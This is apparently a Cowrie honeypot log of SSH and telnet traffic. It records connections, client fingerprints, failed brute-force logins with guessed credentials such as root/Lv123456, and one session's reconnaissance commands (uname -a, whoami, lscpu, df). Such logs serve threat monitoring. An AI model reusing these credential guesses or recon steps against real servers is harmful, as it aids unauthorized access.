{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.833534Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.953343Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:29.221896Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:29.225573Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:29.369804Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:29.677824Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:29.681997Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:29.800638Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.068450Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.070986Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.211721Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.480881Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.484380Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.601558Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.891700Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:30.895332Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:31.015232Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:31.020420Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.100","src_port":51470,"dst_ip":"10.17.0.5","dst_port":22,"session":"9074514f150c","protocol":"ssh","message":"New connection: 147.185.132.100:51470 (10.17.0.5:22) [session: 9074514f150c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:33.100526Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:33.250858Z","src_ip":"147.185.132.100","session":"9074514f150c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":35058,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8c2925b554d","protocol":"ssh","message":"New connection: 80.94.92.182:35058 (159.203.135.109:22) [session: e8c2925b554d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:33.675728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:33.781738Z","src_ip":"80.94.92.182","session":"e8c2925b554d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:33.785406Z","src_ip":"80.94.92.182","session":"e8c2925b554d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"p@ssw0rd","message":"login attempt [solana/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:34.905817Z","src_ip":"80.94.92.182","session":"e8c2925b554d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:36.161119Z","src_ip":"80.94.92.182","session":"e8c2925b554d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":47574,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b111a12ef7f","protocol":"ssh","message":"New connection: 186.96.151.198:47574 (159.203.135.109:22) [session: 5b111a12ef7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:39.698543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:39.703197Z","src_ip":"186.96.151.198","session":"5b111a12ef7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:39.767461Z","src_ip":"186.96.151.198","session":"5b111a12ef7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer123456","message":"login attempt [ubuntu/developer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:40.042209Z","src_ip":"186.96.151.198","session":"5b111a12ef7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:41.105685Z","src_ip":"186.96.151.198","session":"5b111a12ef7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":48816,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91e755aa19b","protocol":"ssh","message":"New connection: 43.157.90.107:48816 (10.17.0.5:22) [session: b91e755aa19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:47.060379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:47.064878Z","src_ip":"43.157.90.107","session":"b91e755aa19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:47.156256Z","src_ip":"43.157.90.107","session":"b91e755aa19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser!","message":"login attempt [ftpuser/ftpuser!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:47.558785Z","src_ip":"43.157.90.107","session":"b91e755aa19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:48.654397Z","src_ip":"43.157.90.107","session":"b91e755aa19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00402212142944,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:51.179753Z","src_ip":"67.86.177.43","session":"0a39a11c1b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00331544876099,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:53.103309Z","src_ip":"67.86.177.43","session":"8adeae8f4903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":35441,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c012143c6e2","protocol":"telnet","message":"New connection: 67.86.177.43:35441 (159.203.135.109:23) [session: 8c012143c6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:53.491663Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":48968,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5ed5a4f1d75","protocol":"ssh","message":"New connection: 43.165.177.199:48968 (10.17.0.5:22) [session: c5ed5a4f1d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:02.031712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:02.041887Z","src_ip":"43.165.177.199","session":"c5ed5a4f1d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:02.219043Z","src_ip":"43.165.177.199","session":"c5ed5a4f1d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"124","message":"login attempt [ubuntu/124] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:02.954334Z","src_ip":"43.165.177.199","session":"c5ed5a4f1d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:04.134339Z","src_ip":"43.165.177.199","session":"c5ed5a4f1d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":34072,"dst_ip":"159.203.135.109","dst_port":22,"session":"983971a4b49e","protocol":"ssh","message":"New connection: 13.67.236.135:34072 (159.203.135.109:22) [session: 983971a4b49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:05.603882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:05.609407Z","src_ip":"13.67.236.135","session":"983971a4b49e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:05.648242Z","src_ip":"13.67.236.135","session":"983971a4b49e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lv123456","message":"login attempt [root/Lv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:05.844639Z","src_ip":"13.67.236.135","session":"983971a4b49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:06.888102Z","src_ip":"13.67.236.135","session":"983971a4b49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"741e5d672a99","protocol":"ssh","message":"New connection: 186.96.151.198:56042 (159.203.135.109:22) [session: 741e5d672a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:32.706863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:32.715640Z","src_ip":"186.96.151.198","session":"741e5d672a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:32.778251Z","src_ip":"186.96.151.198","session":"741e5d672a99","protocol":"ssh"}
